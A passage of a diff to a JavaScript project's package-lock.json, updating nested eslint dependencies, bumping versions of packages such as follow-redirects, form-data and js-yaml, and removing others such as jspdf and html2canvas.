+      "integrity": "sha512-9ZLprWS6EENmhEOpjCYW2c8VkmOvckIJZfkr7rBW6dObmfgJ/L1GpSYW5Hpo9lDz4D1+n0Ckz8rU7FwHDQiG/w==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "balanced-match": "^1.0.0",
+        "concat-map": "0.0.1"
+      }
+    },
     "node_modules/eslint-plugin-import/node_modules/debug": {
       "version": "3.2.7",
       "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz",
@@ -10312,6 +9611,19 @@
         "node": ">=0.10.0"
       }
     },
+    "node_modules/eslint-plugin-import/node_modules/minimatch": {
+      "version": "3.1.5",
+      "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz",
+      "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==",
+      "dev": true,
+      "license": "ISC",
+      "dependencies": {
+        "brace-expansion": "^1.1.7"
+      },
+      "engines": {
+        "node": "*"
+      }
+    },
     "node_modules/eslint-plugin-import/node_modules/semver": {
       "version": "6.3.1",
       "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
@@ -10353,6 +9665,40 @@
         "eslint": "^3 || ^4 || ^5 || ^6 || ^7 || ^8 || ^9"
       }
     },
+    "node_modules/eslint-plugin-jsx-a11y/node_modules/balanced-match": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
+      "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==",
+      "dev": true,
+      "license": "MIT",
+      "peer": true
+    },
+    "node_modules/eslint-plugin-jsx-a11y/node_modules/brace-expansion": {
+      "version": "1.1.13",
+      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.13.tgz",
+      "integrity": "sha512-9ZLprWS6EENmhEOpjCYW2c8VkmOvckIJZfkr7rBW6dObmfgJ/L1GpSYW5Hpo9lDz4D1+n0Ckz8rU7FwHDQiG/w==",
+      "dev": true,
+      "license": "MIT",
+      "peer": true,
+      "dependencies": {
+        "balanced-match": "^1.0.0",
+        "concat-map": "0.0.1"
+      }
+    },
+    "node_modules/eslint-plugin-jsx-a11y/node_modules/minimatch": {
+      "version": "3.1.5",
+      "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz",
+      "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==",
+      "dev": true,
+      "license": "ISC",
+      "peer": true,
+      "dependencies": {
+        "brace-expansion": "^1.1.7"
+      },
+      "engines": {
+        "node": "*"
+      }
+    },
     "node_modules/eslint-plugin-prettier": {
       "version": "5.2.1",
       "resolved": "https://registry.npmjs.org/eslint-plugin-prettier/-/eslint-plugin-prettier-5.2.1.tgz",
@@ -10441,6 +9787,26 @@
         "eslint": ">=8.40"
       }
     },
+    "node_modules/eslint-plugin-react/node_modules/balanced-match": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
+      "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==",
+      "dev": true,
+      "license": "MIT",
+      "peer": true
+    },
+    "node_modules/eslint-plugin-react/node_modules/brace-expansion": {
+      "version": "1.1.13",
+      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.13.tgz",
+      "integrity": "sha512-9ZLprWS6EENmhEOpjCYW2c8VkmOvckIJZfkr7rBW6dObmfgJ/L1GpSYW5Hpo9lDz4D1+n0Ckz8rU7FwHDQiG/w==",
+      "dev": true,
+      "license": "MIT",
+      "peer": true,
+      "dependencies": {
+        "balanced-match": "^1.0.0",
+        "concat-map": "0.0.1"
+      }
+    },
     "node_modules/eslint-plugin-react/node_modules/doctrine": {
       "version": "2.1.0",
       "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz",
@@ -10455,6 +9821,20 @@
         "node": ">=0.10.0"
       }
     },
+    "node_modules/eslint-plugin-react/node_modules/minimatch": {
+      "version": "3.1.5",
+      "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz",
+      "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==",
+      "dev": true,
+      "license": "ISC",
+      "peer": true,
+      "dependencies": {
+        "brace-expansion": "^1.1.7"
+      },
+      "engines": {
+        "node": "*"
+      }
+    },
     "node_modules/eslint-plugin-react/node_modules/resolve": {
       "version": "2.0.0-next.5",
       "resolved": "https://registry.npmjs.org/resolve/-/resolve-2.0.0-next.5.tgz",
@@ -10576,6 +9956,24 @@
         "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
       }
     },
+    "node_modules/eslint/node_modules/balanced-match": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
+      "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/eslint/node_modules/brace-expansion": {
+      "version": "1.1.13",
+      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.13.tgz",
+      "integrity": "sha512-9ZLprWS6EENmhEOpjCYW2c8VkmOvckIJZfkr7rBW6dObmfgJ/L1GpSYW5Hpo9lDz4D1+n0Ckz8rU7FwHDQiG/w==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "balanced-match": "^1.0.0",
+        "concat-map": "0.0.1"
+      }
+    },
     "node_modules/eslint/node_modules/eslint-visitor-keys": {
       "version": "3.4.3",
       "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz",
@@ -10605,6 +10003,19 @@
         "url": "https://github.com/sponsors/sindresorhus"
       }
     },
+    "node_modules/eslint/node_modules/minimatch": {
+      "version": "3.1.5",
+      "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz",
+      "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==",
+      "dev": true,
+      "license": "ISC",
+      "dependencies": {
+        "brace-expansion": "^1.1.7"
+      },
+      "engines": {
+        "node": "*"
+      }
+    },
     "node_modules/espree": {
       "version": "9.6.1",
       "resolved": "https://registry.npmjs.org/espree/-/espree-9.6.1.tgz",
@@ -10713,6 +10124,12 @@
         "node": ">=0.10.0"
       }
     },
+    "node_modules/eventemitter3": {
+      "version": "5.0.4",
+      "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-5.0.4.tgz",
+      "integrity": "sha512-mlsTRyGaPBjPedk6Bvw+aqbsXDtoAyAzm5MO7JgU+yVRyMQ5O8bD4Kcci7BS85f93veegeCPkL8R4GLClnjLFw==",
+      "license": "MIT"
+    },
     "node_modules/events": {
       "version": "3.3.0",
       "resolved": "https://registry.npmjs.org/events/-/events-3.3.0.tgz",
@@ -10739,22 +10156,6 @@
       "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz",
       "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g=="
     },
-    "node_modules/fast-content-type-parse": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/fast-content-type-parse/-/fast-content-type-parse-2.0.1.tgz",
-      "integrity": "sha512-nGqtvLrj5w0naR6tDPfB4cUmYCqouzyQiz6C5y/LtcDllJdrcc6WaWW6iXyIIOErTa/XRybj28aasdn4LkVk6Q==",
-      "funding": [
-        {
-          "type": "github",
-          "url": "https://github.com/sponsors/fastify"
-        },
-        {
-          "type": "opencollective",
-          "url": "https://opencollective.com/fastify"
-        }
-      ],
-      "license": "MIT"
-    },
     "node_modules/fast-deep-equal": {
       "version": "3.1.3",
       "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz",
@@ -10813,23 +10214,6 @@
       "dev": true,
       "license": "MIT"
     },
-    "node_modules/fast-png": {
-      "version": "6.4.0",
-      "resolved": "https://registry.npmjs.org/fast-png/-/fast-png-6.4.0.tgz",
-      "integrity": "sha512-kAqZq1TlgBjZcLr5mcN6NP5Rv4V2f22z00c3g8vRrwkcqjerx7BEhPbOnWCPqaHUl2XWQBJQvOT/FQhdMT7X/Q==",
-      "license": "MIT",
-      "dependencies": {
-        "@types/pako": "^2.0.3",
-        "iobuffer": "^5.3.2",
-        "pako": "^2.1.0"
-      }
-    },
-    "node_modules/fast-png/node_modules/pako": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/pako/-/pako-2.1.0.tgz",
-      "integrity": "sha512-w+eufiZ1WuJYgPXbV/PO3NCMEc3xqylkKHzp8bxp1uW4qaSNQUkwmLLEc3kKsfz8lpV1F8Ht3U1Cm+9Srog2ug==",
-      "license": "(MIT AND Zlib)"
-    },
     "node_modules/fastq": {
       "version": "1.17.1",
       "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.17.1.tgz",
@@ -10858,12 +10242,6 @@
         }
       }
     },
-    "node_modules/fflate": {
-      "version": "0.8.2",
-      "resolved": "https://registry.npmjs.org/fflate/-/fflate-0.8.2.tgz",
-      "integrity": "sha512-cPJU47OaAoCbg0pBvzsgpTPhmhqI5eJjh/JIu8tPj5q+T7iLvW/JAYUqmE7KOB4R1ZyEhzBaIQpQpardBF5z8A==",
-      "license": "MIT"
-    },
     "node_modules/file-entry-cache": {
       "version": "6.0.1",
       "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-6.0.1.tgz",
@@ -10935,16 +10313,16 @@
       }
     },
     "node_modules/flatted": {
-      "version": "3.3.2",
-      "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.3.2.tgz",
-      "integrity": "sha512-AiwGJM8YcNOaobumgtng+6NHuOqC3A7MixFeDafM3X9cIUM+xUXoS5Vfgf+OihAYe20fxqNM9yPBXJzRtZ/4eA==",
+      "version": "3.4.2",
+      "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.4.2.tgz",
+      "integrity": "sha512-PjDse7RzhcPkIJwy5t7KPWQSZ9cAbzQXcafsetQoD7sOJRQlGikNbx7yZp2OotDnJyrDcbyRq3Ttb18iYOqkxA==",
       "dev": true,
       "license": "ISC"
     },
     "node_modules/follow-redirects": {
-      "version": "1.15.9",
-      "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.9.tgz",
-      "integrity": "sha512-gew4GsXizNgdoRyqmyfMHyAmXsZDk6mHkSxZFCzW9gwlbtOW44CDtYavM+y+72qD/Vq2l550kMF52DT8fOLJqQ==",
+      "version": "1.15.11",
+      "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.11.tgz",
+      "integrity": "sha512-deG2P0JfjrTxl50XGCDyfI97ZGVCxIpfKYmfyrQ54n5FO/0gfIES8C/Psl6kWVDolizcaaxZJnTS0QSMxvnsBQ==",
       "funding": [
         {
           "type": "individual",
@@ -10965,6 +10343,7 @@
       "version": "0.3.3",
       "resolved": "https://registry.npmjs.org/for-each/-/for-each-0.3.3.tgz",
       "integrity": "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw==",
+      "dev": true,
       "license": "MIT",
       "dependencies": {
         "is-callable": "^1.1.3"
@@ -10988,9 +10367,9 @@
       }
     },
     "node_modules/form-data": {
-      "version": "4.0.4",
-      "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.4.tgz",
-      "integrity": "sha512-KrGhL9Q4zjj0kiUt5OO4Mr/A/jlI2jDYs5eHBpYHPcBEVSiipAvn2Ko2HnPe20rmcuuvMHNdZFp+4IlGTMF0Ow==",
+      "version": "4.0.5",
+      "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.5.tgz",
+      "integrity": "sha512-8RipRLol37bNs2bhoV67fiTEvdTrbMUYcFTiy3+wuuOnUog2QBHCZWXDRijWQfAkhBj2Uf5UnVaiWwA5vdd82w==",
       "license": "MIT",
       "dependencies": {
         "asynckit": "^0.4.0",
@@ -11186,28 +10565,6 @@
         "url": "https://github.com/privatenumber/get-tsconfig?sponsor=1"
       }
     },
-    "node_modules/glob": {
-      "version": "7.2.3",
-      "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz",
-      "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==",
-      "deprecated": "Glob versions prior to v9 are no longer supported",
-      "dev": true,
-      "license": "ISC",
-      "dependencies": {
-        "fs.realpath": "^1.0.0",
-        "inflight": "^1.0.4",
-        "inherits": "2",
-        "minimatch": "^3.1.1",
-        "once": "^1.3.0",
-        "path-is-absolute": "^1.0.0"
-      },
-      "engines": {
-        "node": "*"
-      },
-      "funding": {
-        "url": "https://github.com/sponsors/isaacs"
-      }
-    },
     "node_modules/glob-parent": {
       "version": "6.0.2",
       "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz",
@@ -11258,16 +10615,6 @@
       "dev": true,
       "license": "MIT"
     },
-    "node_modules/goober": {
-      "version": "2.1.16",
-      "resolved": "https://registry.npmjs.org/goober/-/goober-2.1.16.tgz",
-      "integrity": "sha512-erjk19y1U33+XAMe1VTvIONHYoSqE4iS7BYUZfHaqeohLmnC0FdxEh7rQU+6MZ4OajItzjZFSRtVANrQwNq6/g==",
-      "dev": true,
-      "license": "MIT",
-      "peerDependencies": {
-        "csstype": "^3.0.10"
-      }
-    },
     "node_modules/gopd": {
       "version": "1.2.0",
       "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz",
@@ -11318,6 +10665,7 @@
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz",
       "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==",
+      "dev": true,
       "license": "MIT",
       "dependencies": {
         "es-define-property": "^1.0.0"
@@ -11373,6 +10721,7 @@
       "version": "3.1.2",
       "resolved": "https://registry.npmjs.org/hash-base/-/hash-base-3.1.2.tgz",
       "integrity": "sha512-Bb33KbowVTIj5s7Ked1OsqHUeCpz//tPwR+E2zJgJKo9Z5XolZ9b6bdUgjmYlwnWhoOQKoTd1TYToZGn5mAYOg==",
+      "dev": true,
       "license": "MIT",
       "dependencies": {
         "inherits": "^2.0.4",
@@ -11388,12 +10737,14 @@
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
       "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==",
+      "dev": true,
       "license": "MIT"
     },
     "node_modules/hash-base/node_modules/readable-stream": {
       "version": "2.3.8",
       "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz",
       "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==",
+      "dev": true,
       "license": "MIT",
       "dependencies": {
         "core-util-is": "~1.0.0",
@@ -11409,12 +10760,14 @@
       "version": "5.1.2",
       "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
       "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==",
+      "dev": true,
       "license": "MIT"
     },
     "node_modules/hash-base/node_modules/string_decoder": {
       "version": "1.1.1",
       "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
       "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
+      "dev": true,
       "license": "MIT",
       "dependencies": {
         "safe-buffer": "~5.1.0"
@@ -11424,6 +10777,7 @@
       "version": "5.1.2",
       "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
       "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==",
+      "dev": true,
       "license": "MIT"
     },
     "node_modules/hash.js": {
@@ -11633,20 +10987,6 @@
         "url": "https://github.com/sponsors/wooorm"
       }
     },
-    "node_modules/html2canvas": {
-      "version": "1.4.1",
-      "resolved": "https://registry.npmjs.org/html2canvas/-/html2canvas-1.4.1.tgz",
-      "integrity": "sha512-fPU6BHNpsyIhr8yyMpTLLxAbkaK8ArIBcmZIRiBLiDhjeqvXolaEmDGmELFuX9I4xDcaKKcJl+TKZLqruBbmWA==",
-      "license": "MIT",
-      "optional": true,
-      "dependencies": {
-        "css-line-break": "^2.1.0",
-        "text-segmentation": "^1.0.3"
-      },
-      "engines": {
-        "node": ">=8.0.0"
-      }
-    },
     "node_modules/https-browserify": {
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/https-browserify/-/https-browserify-1.0.0.tgz",
@@ -11685,15 +11025,6 @@
         }
       }
     },
-    "node_modules/i18next-browser-languagedetector": {
-      "version": "8.0.2",
-      "resolved": "https://registry.npmjs.org/i18next-browser-languagedetector/-/i18next-browser-languagedetector-8.0.2.tgz",
-      "integrity": "sha512-shBvPmnIyZeD2VU5jVGIOWP7u9qNG3Lj7mpaiPFpbJ3LVfHZJvVzKR4v1Cb91wAOFpNw442N+LGPzHOHsten2g==",
-      "license": "MIT",
-      "dependencies": {
-        "@babel/runtime": "^7.23.2"
-      }
-    },
     "node_modules/i18next-http-backend": {
       "version": "3.0.1",
       "resolved": "https://registry.npmjs.org/i18next-http-backend/-/i18next-http-backend-3.0.1.tgz",
@@ -11734,6 +11065,16 @@
         "node": ">= 4"
       }
     },
+    "node_modules/immer": {
+      "version": "10.2.0",
+      "resolved": "https://registry.npmjs.org/immer/-/immer-10.2.0.tgz",
+      "integrity": "sha512-d/+XTN3zfODyjr89gM3mPq1WNX2B8pYsu7eORitdwyA2sBubnTl3laYlBk4sXY5FUa5qTZGBDPJICVbvqzjlbw==",
+      "license": "MIT",
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/immer"
+      }
+    },
     "node_modules/import-fresh": {
       "version": "3.3.0",
       "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.0.tgz",
@@ -11787,6 +11128,7 @@
       "version": "2.0.4",
       "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
       "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
+      "dev": true,
       "license": "ISC"
     },
     "node_modules/inline-style-parser": {
@@ -11809,11 +11151,14 @@
         "node": ">= 0.4"
       }
     },
-    "node_modules/iobuffer": {
-      "version": "5.4.0",
-      "resolved": "https://registry.npmjs.org/iobuffer/-/iobuffer-5.4.0.tgz",
-      "integrity": "sha512-DRebOWuqDvxunfkNJAlc3IzWIPD5xVxwUNbHr7xKB8E6aLJxIPfNX3CoMJghcFjpv6RWQsrcJbghtEwSPoJqMA==",
-      "license": "MIT"
+    "node_modules/internmap": {
+      "version": "2.0.3",
+      "resolved": "https://registry.npmjs.org/internmap/-/internmap-2.0.3.tgz",
+      "integrity": "sha512-5Hh7Y1wQbvY5ooGgPbDaL5iYLAPzMTUrjMulskHLH6wnv/A+1q5rgEaiuqEjB+oxGXIVZs1FF+R/KPN3ZSQYYg==",
+      "license": "ISC",
+      "engines": {
+        "node": ">=12"
+      }
     },
     "node_modules/ipaddr.js": {
       "version": "2.2.0",
@@ -11962,6 +11307,7 @@
       "version": "1.2.7",
       "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.7.tgz",
       "integrity": "sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==",
+      "dev": true,
       "license": "MIT",
       "engines": {
         "node": ">= 0.4"
@@ -12296,6 +11642,7 @@
       "version": "1.1.15",
       "resolved": "https://registry.npmjs.org/is-typed-array/-/is-typed-array-1.1.15.tgz",
       "integrity": "sha512-p3EcsicXjit7SaskXHs1hA91QxgTw46Fv6EFKKGS5DRFLD8yKnohjF3hxoju94b/OcMZoQukzpPpBE9uLVKzgQ==",
+      "dev": true,
       "license": "MIT",
       "dependencies": {
         "which-typed-array": "^1.1.16"
@@ -12368,6 +11715,7 @@
       "version": "2.0.5",
       "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz",
       "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==",
+      "dev": true,
       "license": "MIT"
     },
     "node_modules/isexe": {
@@ -12449,9 +11797,9 @@
       "license": "MIT"
     },
     "node_modules/js-yaml": {
-      "version": "4.1.0",
-      "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz",
-      "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==",
+      "version": "4.1.1",
+      "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.1.tgz",
+      "integrity": "sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
@@ -12461,12 +11809,6 @@
         "js-yaml": "bin/js-yaml.js"
       }
     },
-    "node_modules/jsbn": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-1.1.0.tgz",
-      "integrity": "sha512-4bYVV3aAMtDTTu4+xsDYa6sy9GyJ69/amsu9sYF2zqjiEoZA5xJi3BrfX3uY+/IekIu7MwdObdbDWpoZdBv3/A==",
-      "license": "MIT"
-    },
     "node_modules/jsesc": {
       "version": "3.1.0",
       "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz",
@@ -12519,34 +11861,6 @@
         "json5": "lib/cli.js"
       }
     },
-    "node_modules/jspdf": {
-      "version": "3.0.3",
-      "resolved": "https://registry.npmjs.org/jspdf/-/jspdf-3.0.3.tgz",
-      "integrity": "sha512-eURjAyz5iX1H8BOYAfzvdPfIKK53V7mCpBTe7Kb16PaM8JSXEcUQNBQaiWMI8wY5RvNOPj4GccMjTlfwRBd+oQ==",
-      "license": "MIT",
-      "dependencies": {
-        "@babel/runtime": "^7.26.9",
-        "fast-png": "^6.2.0",
-        "fflate": "^0.8.1"
-      },
-      "optionalDependencies": {
-        "canvg": "^3.0.11",
-        "core-js": "^3.6.0",
-        "dompurify": "^3.2.4",
-        "html2canvas": "^1.0.0-rc.5"
-      }
-    },
-    "node_modules/jsrp": {
-      "version": "0.2.4",
-      "resolved": "https://registry.npmjs.org/jsrp/-/jsrp-0.2.4.tgz",
-      "integrity": "sha512-+CjGAhZaj3k2MMXEy+xWYv7xJGnise/SlL1IIvnRuJ1ZiLtNPJJln/dMDCgORQCq1ouXDnW1FBxW5bkBFhK/8g==",
-      "license": "MIT",
-      "dependencies": {
-        "create-hash": "^1.0.0",
-        "jsbn": "^1.0.0",
-        "randombytes": "^2.0.0"
-      }
-    },
     "node_modules/jsx-ast-utils": {
       "version": "3.3.5",
       "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-3.3.5.tgz",
@@ -12908,20 +12222,6 @@
         "url": "https://github.com/sponsors/sindresorhus"
       }
     },
-    "node_modules/lodash.castarray": {
-      "version": "4.4.0",
-      "resolved": "https://registry.npmjs.org/lodash.castarray/-/lodash.castarray-4.4.0.tgz",
-      "integrity": "sha512-aVx8ztPv7/2ULbArGJ2Y42bG1mEQ5mGjpdvrbJcJFU3TbYybe+QlLS4pst9zV52ymy2in1KpFPiZnAOATxD4+Q==",
-      "dev": true,
-      "license": "MIT"
-    },
-    "node_modules/lodash.isplainobject": {
-      "version": "4.0.6",
-      "resolved": "https://registry.npmjs.org/lodash.isplainobject/-/lodash.isplainobject-4.0.6.tgz",
-      "integrity": "sha512-oSXzaWypCMHkPC3NvBEaPHf0KsA5mvPrOPgQWDsbg8n7orZ290M0BmC/jgRZ4vcJ6DTAhjrsSYgdsW/F+MFOBA==",
-      "dev": true,
-      "license": "MIT"
-    },
     "node_modules/lodash.merge": {
       "version": "4.6.2",
       "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz",
@@ -13017,6 +12317,7 @@
       "version": "1.3.5",
       "resolved": "https://registry.npmjs.org/md5.js/-/md5.js-1.3.5.tgz",
       "integrity": "sha512-xitP+WxNPcTTOgnTJcrhM0xvdPepipPSf3I8EIpGKeFLjt3PlJLIDG3u8EX53ZIubkb+5U2+3rELYpEhHhzdkg==",
+      "dev": true,
       "license": "MIT",
       "dependencies": {
         "hash-base": "^3.0.0",
@@ -13118,9 +12419,10 @@
       }
     },
     "node_modules/mdast-util-to-hast": {
-      "version": "13.2.0",
-      "resolved": "https://registry.npmjs.org/mdast-util-to-hast/-/mdast-util-to-hast-13.2.0.tgz",
-      "integrity": "sha512-QGYKEuUsYT9ykKBCMOEDLsU5JRObWQusAolFMeko/tYPufNkRffBAQjIE+99jbA87xv6FgmjLtwjh9wBWajwAA==",
+      "version": "13.2.1",
+      "resolved": "https://registry.npmjs.org/mdast-util-to-hast/-/mdast-util-to-hast-13.2.1.tgz",
+      "integrity": "sha512-cctsq2wp5vTsLIcaymblUriiTcZd0CwWtCbLvrOzYCDZoWyMNV8sZ7krj09FSnsiJi3WVsHLM4k6Dq/yaPyCXA==",
+      "license": "MIT",
       "dependencies": {
         "@types/hast": "^3.0.0",
         "@types/mdast": "^4.0.0",
@@ -13621,9 +12923,9 @@
       }
     },
     "node_modules/micromatch/node_modules/picomatch": {
-      "version": "2.3.1",
-      "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz",
-      "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==",
+      "version": "2.3.2",
+      "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz",
+      "integrity": "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==",
       "dev": true,
       "license": "MIT",
       "engines": {
@@ -13648,9 +12950,9 @@
       }
     },
     "node_modules/miller-rabin/node_modules/bn.js": {
-      "version": "4.12.1",
-      "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.1.tgz",
-      "integrity": "sha512-k8TVBiPkPJT9uHLdOKfFpqcfprwBFOAAXXozRubr7R7PfIuKvQlzcI4M0pALeqXN09vdaMbUdUj+pass+uULAg==",
+      "version": "4.12.3",
+      "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.3.tgz",
+      "integrity": "sha512-fGTi3gxV/23FTYdAoUtLYp6qySe2KE3teyZitipKNRuVYcBkoP/bB3guXN/XVKUe9mxCHXnc9C4ocyz8OmgN0g==",
       "dev": true,
       "license": "MIT"
     },
@@ -13700,19 +13002,6 @@
       "dev": true,
       "license": "MIT"
     },
-    "node_modules/minimatch": {
-      "version": "3.1.2",
-      "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz",
-      "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==",
-      "dev": true,
-      "license": "ISC",
-      "dependencies": {
-        "brace-expansion": "^1.1.7"
-      },
-      "engines": {
-        "node": "*"
-      }
-    },
     "node_modules/minimist": {
       "version": "1.2.8",
       "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz",
@@ -13724,11 +13013,11 @@
       }
     },
     "node_modules/minipass": {
-      "version": "7.1.2",
-      "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.2.tgz",
